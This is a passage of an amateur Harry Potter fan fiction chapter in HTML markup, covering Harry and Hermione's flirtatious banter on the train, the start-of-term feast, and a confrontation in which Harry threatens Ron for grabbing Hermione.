of your time Harry, I should go change into my school robes, we should\nbe arriving at Hogwarts soon.&nbsp; I&#8217;ll look forward to resuming our\nconversation, when there&#8217;s a little more privacy.&#8221; She looked him right in the\neye.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can hardly wait, until\nthen my little flower.&#8221; Harry said, lightly touching her on the chin.&nbsp; The\ngirl couldn&#8217;t help but let out a giggle; she turned and quickly left the train\ncompartment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione busted up into\nlaughter as soon as the compartment door closed.&nbsp; Harry turned to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s so funny?&#8221; Harry\nglanced about her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I can hardly wait?&#8221;\nHermione mimicked in fits of laughter. &#8220;Until then my little flower?&#8221; She shook\nher head still fighting off the laughter, &#8220;Honestly Harry, who talks like\nthat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I do for one, the ladies\nfind it very endearing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Yeah if you were\nliving in eighteen fifty six.&#8221;\nShe continued to laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head back and\nforth, &#8220;Oh what do you know about it?&nbsp; Your idea of sweet talk is&#8230;.Oh tell\nme about the periodic table of elements one more time.&#8221; His voice was oddly\nhigh pitched as he looked up towards the ceiling of the train, clasping his\nhands together against his chest and batting his eyes like a flirty girl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione planted her hands\nfirmly on her hips. &#8220;Hey, some people find it endearing about what you can put\ntogether and create something pretty special while using the elements, but I\ndon&#8217;t suspect someone of your low brain waves to understand that.&#8221; Hermione\nsaid with a smile, she then bent and opened her trunk and pulled out her\nHogwarts Robe and tossed it gently on the chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down again and\npicked up a cup from the cup holder and sipped at his Cherry Fizzy he had\ngotten from the cart lady when she passed by.&nbsp; Hermione had been asleep\nand he tried to wake her several times, but she was really bent on having that\nreally interesting dream, whatever it was she was dreaming about.&nbsp; He\ncleared his throat and set the cup back in the holder, &#8220;Aren&#8217;t you even going\nto thank me?&#8221; He looked right at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For what?&#8221; Hermione was\nslightly confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;The blanket and pillow\ngenius.&#8221; Harry said with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh those were yours?&#8221;\nHermione unbuttoned her robe and pulled it on over her clothes.&nbsp; She\nbuttoned it up again.&nbsp; &#8220;Well then thank you.&#8221;&nbsp; She picked up the\nblanket and pillow handing them back to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;Yeah those are mine,&#8221;\nHe put them back in his trunk. &nbsp;Harry shifted and threw his legs long ways\nover the rest of the soft bench of the train.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione sat down\nagain.&nbsp; &#8220;What made you think of my comfort?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You were shivering and you\nlooked cold.&#8221; He said plainly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;How could you tell?&#8221;\nHermione moved a bit so she was sitting with one leg under the other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well.&#8221; Harry pointed\nto her breasts, &#8220;Your two lovely ladies were popping out saying hello to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione scoffed.&nbsp; Her\nface didn&#8217;t even turn red, two years ago she would have blushed so brightly she\nwould have looked like a Christmas tree light. But she&#8217;s been around him for\nyears now she had become immune to his way of teasing and having fun.&nbsp;\n&#8220;Were you checking me out Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I would be lying if I said I\nwasn&#8217;t.&#8221;&nbsp; Harry said with a smirk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;I hope you got a good\nlook; because you&#8217;re never gonna see anything more.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t know, I bet if I\nworked my Harry Potter charm on you, you would too fall under the spell.&#8221; He\ncrossed his arms over his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;The day I fall for you Harry\nPotter is the day I stand on my head chanting I love Professor Snape and I want\nto rock his socks.&#8221;&nbsp; She said crossing her arms defiantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ugh,&#8221; Harry made a disgusted\nface.&nbsp; &#8220;What a horrible visual, thank you so much for that Hermione, thank\nyou so very much.&#8221;&nbsp; He shook his head of the horrible visions, his head\nsnapped up and looked right at her with a smirk plastered across his\nface.&nbsp; &#8220;Hermione, do you know that you talk in your sleep?&#8221;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I do?&#8221; She was confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, what exactly do you\ndream about?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why do you want to know?&#8221;\nHermione eyed him suspiciously.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry brought his legs down\nstraight, pressed his elbows onto his knees and leaned forward, resting his\nchin in his hands. &#8220;Probably cause you were moaning, making noises, and telling\nsomeone what you wanted done, it was as if you were&#8230;Oh how do I say this\nwithout sounding like a pig&#8230; Screwing someone senseless.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;At least this time Hermione had the decency to look\nembarrassed, her face flushed just a bit.&nbsp; She recovered quickly. &#8220;What,\nyou don&#8217;t think girls can have those types of dreams too?&nbsp; Believe it or\nnot, we of the female persuasion have those urges too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&#8220;Hermione, baby, sweetheart.&nbsp; That&#8217;s what you have me\nfor. I would gladly help you out with your, um&#8230; urges..&#8221; Harry said taking on\nthe look that makes girls follow him around like little lost puppies.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No thanks, I at\nleast want to be fond of the person I&#8217;m with.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ouch, you&#8217;re not fond of me?&nbsp;\nThat really hurts Hermione.&#8221; Harry crossed his arms in mock hurt, pouting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh stop it,&#8221;\nShe lightly laughed, &#8220;you know what I mean.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Actually I don&#8217;t.&#8221; Harry\nsaid watching her closely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took in\na breath and leaned back against the cushion, &#8220;I have this vision of how and\nwhat I want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;I&#8217;m listening.&#8221;\nNot that Harry was planning on going after Hermione, yet for some reason he was\nreally interested in what she had to say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Hermione\nsearched her mind and a cute, tiny smile found its way upon her lips. &#8220;I want\nsomeone, who wants only me. They have to be kind and not worried about what\npeople think.&nbsp; He has to be gentle yet strong at the same time.&nbsp; He\ncan&#8217;t be overly protective but he has to watch out for me as I would for\nhim.&nbsp; He has to care about what I have to say and not try to keep me quiet\nor beat me down; I would in return listen to him giving him the same\nrespect.&nbsp; Most importantly all that I really want, is someone to love me\nfor me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded. &#8220;That&#8217;s quite a\nlist there Hermione, I hope you find what you&#8217;re looking for.&#8221;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think I found what I&#8217;ve\nbeen looking for.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And you need my help to get\nhim.&#8221; Harry thought a moment, there was something nagging him in the back of\nhis mind but the thought wasn&#8217;t strong enough and it didn&#8217;t push\nthrough.&nbsp;&nbsp; Harry saw someone he was going after last year pass by the\nwindow of the compartment windows and stop talking to her friend.&nbsp; He\nwatched her for a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Unresolved infatuation\nHarry?&#8221; Hermione asked with a smirk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You could say that, she&#8217;s is\ntough to snag. I have to work extra hard on my attempts this year.&nbsp; This\nis our last year you know, I don&#8217;t have all that much time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah Harry, you know that Kelly\nis almost nearly impossible to get.&nbsp; She&#8217;s not easy at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nearly impossible is not\nimpossible, remember that Hermione.&#8221;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked at Harry&#8217;s\ncup, &#8220;Can I have some of your drink there?&#8221; She asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;Sure.&#8221; He\npicked up the cup and handed it to her. He continued to watch Kelly a bit,\nwhile Hermione drank from his cup.&nbsp; Kelly left his sight and he sighed.\n&#8220;Does she realize how extremely hot I am for her?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">An evil thought crossed\nHermione&#8217;s mind, &#8220;How hot are you for Kelly?&#8221;&nbsp; She stepped closer to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Very.&#8221; He said.&nbsp; Harry\nfelt the train coming to a stop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Without warning Hermione\ndumped the entire cup of ice cold cherry juice onto his head.&nbsp; He stood up\nin a flash, Hermione couldn&#8217;t help the fits of laughter flowing from her.&nbsp;\n&#8220;There&#8212;you&#8212;go, that should cool you off.&#8221;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry just looked at her\nstunned, he was dripping with sticky cherry juice, the corner of his mouth\ncurved to a half grin.&nbsp; And he said one word. &#8220;Run.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyes widened and a\nlittle squeak burst from her and without a second thought she tore open the\ndoors and ran out of them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chased after her for\nawhile until he lost her in the crowd of students, he would so get her back for\nthat.&nbsp; She finally got one up on him, he started chuckling to\nhimself.&nbsp; Harry had to admit it was pretty funny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He followed the students to\nthe horseless carriages and found one, he sat down and to his surprise he was\nsitting next to his main target of the year, anyone else is just a bonus.&nbsp;\nShe was reading silently to herself, there was a Nightlight bird sitting on her\nshoulder so she could see.&nbsp; Harry noticed she was reading a romance\nnovel.&nbsp; &#8220;Good book?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kelly lowered the book a bit,\nher eyes were visible over the rim.&nbsp; She lifted a brow just staring for a\nmoment.&nbsp; She didn&#8217;t even give him an answer, she just brought the book\nback up covering her face.&nbsp; &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You do know it&#8217;s rude when\nyou&#8217;re asked a question and you don&#8217;t give an answer.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Kelly dropped the book\nlooking at him &#8220;I would really appreciate it if you did not bother me while I\nam trying to read.&#8221; She brought the book back up and continued reading.&nbsp;\n&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He heard two guys laughing\nwho were sitting across from him; Harry just turned and glanced out the window\nignoring them.&nbsp; He would have to find some way to get that girl to at\nleast pay attention to him.&nbsp; Harry stayed silent the rest of the journey\nto Hogwarts thinking up a plan of action.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The carriages pulled up to\nthe school and the students quickly filed out and into the great hall.&nbsp;\nThey sat down at the respective tables and waited for the first years to arrive\nand get sorted.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The Gryffindors got six first\nyears while the, Ravenclaws got seven, Hufflepuffs got ten and the Slytherins got three.&nbsp;\nAfter everyone was seated. Headmaster Dumbledore stood.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Welcome students to another\ngreat year, first on the list is to introduce our Head Boy and Girl.&nbsp; Mr.\nHarry Potter of Slytherin, and Miss Hermione Granger of Gryffindor.&#8221;&nbsp;\nDumbledore waited for the applause to die down and the then he continued.&nbsp;\n&#8220;I would like to remind you all that, the forbidden forest is off limits to any\nand every student.&nbsp; Now please enjoy your feast, and have a great\nevening.&#8221;&nbsp; Dumbledore waved his hands and a great feast appeared on the\ntable.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The students began eating all\nthey wanted, soon after they were finished Professor McGonagall called Harry\nand Hermione over to her, and she led them up a flight of stairs, &#8220;What would\nyou like as the password dears?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry and Hermione looked at\neach other.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How about Sugar Quill?&#8221;\nHermione suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah all right that&#8217;s fine.&#8221;\nHarry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The three of them walked into\nthe Head Boy and Girl&#8217;s common room, it wasn&#8217;t as big as the house common\nrooms, but then again it was only the two of them.&nbsp; There was one flight\nof stairs which the students climbed and went to their respective doors.&nbsp;\nHead Boy and Girl were in gold letters on the doors.&nbsp; They walked inside\nand found that there was a bathroom in between the two rooms, both Harry and\nHermione opened their bathroom doors at the same time.&nbsp; Hermione waved to\nhim and he waved back.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The rooms were both neutral\ncolors, and there was another door that led into each of the house common\nrooms, it was neat how Harry&#8217;s common room was all the way down in the dungeons\nbut he had access to his room through the mystical door.&nbsp; Just as\nHermione&#8217;s house common room was all the way at the top of the tower.&nbsp;\n&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione unpacked her\nbelongings and put her clothes away in the wardrobe and the dresser drawers.&nbsp;\nShe sat down on the bed and looked up at the clock on the wall.&nbsp; There was\nstill two hours until curfew, she would make use of the time.&nbsp; She went\nthrough the bathroom and into Harry&#8217;s room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;These are some rooms aren&#8217;t\nthey, we actually get them all to ourselves.&#8221; Harry said.&nbsp; &#8220;Imagine how\nmuch more action I&#8217;m gonna get with my own room and no one to bother me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do you think everyone is\ngonna fall for that so called charm of yours?&#8221; Hermione said with an amused\nstatement on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why not, I&#8217;m\nirresistible.&#8221; Harry said with an adoring smile&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure, okay whatever.&#8221;\nHermione&#8217;s tone was a bit sarcastic.&nbsp; &#8220;Well I&#8217;m gonna head to the library\nfor a bit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why, classes haven&#8217;t even\nstarted yet.&nbsp; They wont even start till Monday.&#8221; Harry always wondered why\nshe spent so much time studying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well we do have N.E.W.T.S\nthis year, not to mention the apparating test.&nbsp; I want to get a good head\nstart.&#8221;&nbsp; She said&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at her with\nconcern, &#8220;Hermione with all joking aside, don&#8217;t work your self sick.&nbsp;\nStudying a lot is one thing, but don&#8217;t ruin your health over it okay?&nbsp;\nPromise me you won&#8217;t hurt yourself over this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, all right keep\nyour shirt on.&nbsp; I won&#8217;t risk my health.&#8221; And she quickly left through his\ndoor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could have said\nsomething to her comment, but she was already out the door and gone.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione had spent two hours\nin the library working trying to get ahead of everyone else, she wasn&#8217;t at the\ntop of her class for nothing.&nbsp; She packed up her books and placed them in\nher bag and raced out of the library.&nbsp; Hermione only had fifteen minutes\nto get back to her room before Filch would start wandering the halls looking\nfor students.&nbsp; Of course she could say she was just out making the rounds\nas well, she was in fact Head Girl.&nbsp; And some privileges come along with\nbeing Head Girl, being out late was one of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She heard footsteps behind\nher, so she picked up her pace trying to hurry to get back.&nbsp; The footsteps\nbehind her also picked up their pace. Oh, Hermione didn&#8217;t like this at\nall.&nbsp; She stopped, dropped her bag on the floor and pulled out her\nwand.&nbsp; Hermione turned around to face her stalker.&nbsp; She wasn&#8217;t at all\nrelieved to find that it was Ron Weasley following her.&nbsp; &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you doing following\nme?&#8221; Her eyes narrowed in anger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We have to talk Granger.&#8221;\nRon said as he stepped closer to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About what?&#8221; She so hated\nhim.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About what in the world do\nyou think your doing being friends with a&#8212;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione cut him off, &#8220;Oh\nplease, don&#8217;t give me that again.&nbsp; You&#8217;re not in charge of me Weasley,\nmind your own business.&#8221;&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is my business; I will\nnot allow you to associate with such a vile piece of trash like that Slytherin\nHarry Potter.&#8221; Ron spat out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just where do you get off\ntelling me who I am allowed to be friends with. If you hate me that much then\njust leave me be.&#8221;&nbsp; Hermione&#8217;s voice was rising in anger.&nbsp; She turned\nto walk away but Ron grabbed her making her turn around to face him.&nbsp; &#8220;Let\ngo of me or I swear to God I will make you suffer.&#8221; Her teeth were\nclinched.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look Granger, I don&#8217;t want\nto hurt you but if I have to beat some sense into you, I will.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let go.&#8221; Hermione said\nfirmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey!&#8221; A voice echoed through\nthe corridor</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Ron and Hermione heard a\nshout from behind them, and they both turned to look at who was talking.&nbsp;\nHarry was standing right in back of them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let go of her.&#8221; Harry said,\nhe was angry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron removed his hand from Hermione&#8217;s\narm and stepped back from her. &#8220;Oh if it isn&#8217;t Super Slytherin, coming to save\nthe poor damsel in distress.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not a damsel in distress\nyou prick.&#8221; Hermione glared at Ron, &#8220;I can hold my own against you any day\nWeasley, I&#8217;m just smart enough to know when not to use magic or violence,\nalthough I can&#8217;t say the same for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at Hermione,\n&#8220;Why don&#8217;t you go back to the dorm while I have a little chat with Ronnie\nhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;Alright,&#8221;\nHermione bent and picked up her bag from the floor and quickly walked in the\ndirection of the Head Boy and Girl&#8217;s dorm.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">As soon as she was out of\nsite Harry turned to Ron, all his pleasantness was gone.&nbsp; He was as angry\nas Hades.&nbsp; &#8220;If you ever touch her again I swear they will find pieces of\nyou all over the school.&nbsp; It is none of your business who she wants to be\nfriends with, even if it&#8217;s me or that wimp Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, what do you care she&#8217;s\njust a stupid Mudblood who doesn&#8217;t understand the way things work here</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry enraged grabbed Ron by\nthe robes and shoved him up against the wall, Ron&#8217;s head hit the wall. &#8220;You\nlisten here you little bastard, don&#8217;t you ever call her that.&nbsp; If you so\nmuch as cause her grief, well lets just say there will be one less Weasley kid\nto worry about.&#8221;&nbsp; Harry dropped Ron&#8217;s robs which cause Ron to also fall to\nthe floor.&nbsp; &#8220;Stay away from her, or I will&#8212;&#8221; He couldn&#8217;t even finish his\nsentence he was so angry and he stalked off towards his dorm room.&nbsp; He\nspoke the password and went inside.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry walked up the stairs\nand into his room, he looked down through the bathroom at Hermione&#8217;s open door.\nShe was sitting on her bed in her bathroom sorting through some type of flash\ncards.&nbsp; He walked into her room and stood in the archway.&nbsp; &#8220;Hey.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She looked up from her flashcards.\n&#8220;Hey.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That git\ndidn&#8217;t hurt you before I got there did he?&#8221; Harry&#8217;s eyes were narrowed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nah.&#8221; Hermione waved her\nhand, &#8220;I could have handled him myself you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grinned, &#8220;Yeah, your\nprobably could have.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But, thanks for showing up\nanyway Harry.&nbsp; You are a good friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes I am.&#8221; Harry said with a\nsmile, &#8220;Well it&#8217;s getting late, I better get some shut eye.&#8221; He looked at her\nflash cards, &#8220;And so should you, remember what I said Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, yes, don&#8217;t make myself\nsick with studying. I got it.&#8221; Her lips formed a half grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chuckled and backed out\nof the room closing the door behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione yawned, and pushed\nher flashcards into a pile and placed them on the night stand by her bed.&nbsp;\nShe blew out the candles and pulled the blankets back on her bed and cuddled\ndown into the soft warmth, and closed her eyes.&nbsp; She once again visited\nthe land of dreams</p>\n\n<p class="MsoNormal">=======</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well that&#8217;s its for chapter 2, I hope it was better than the first\none.&nbsp; Well read and review, thanks Ryoko</p>\n\n\n\n\n\n\n'),
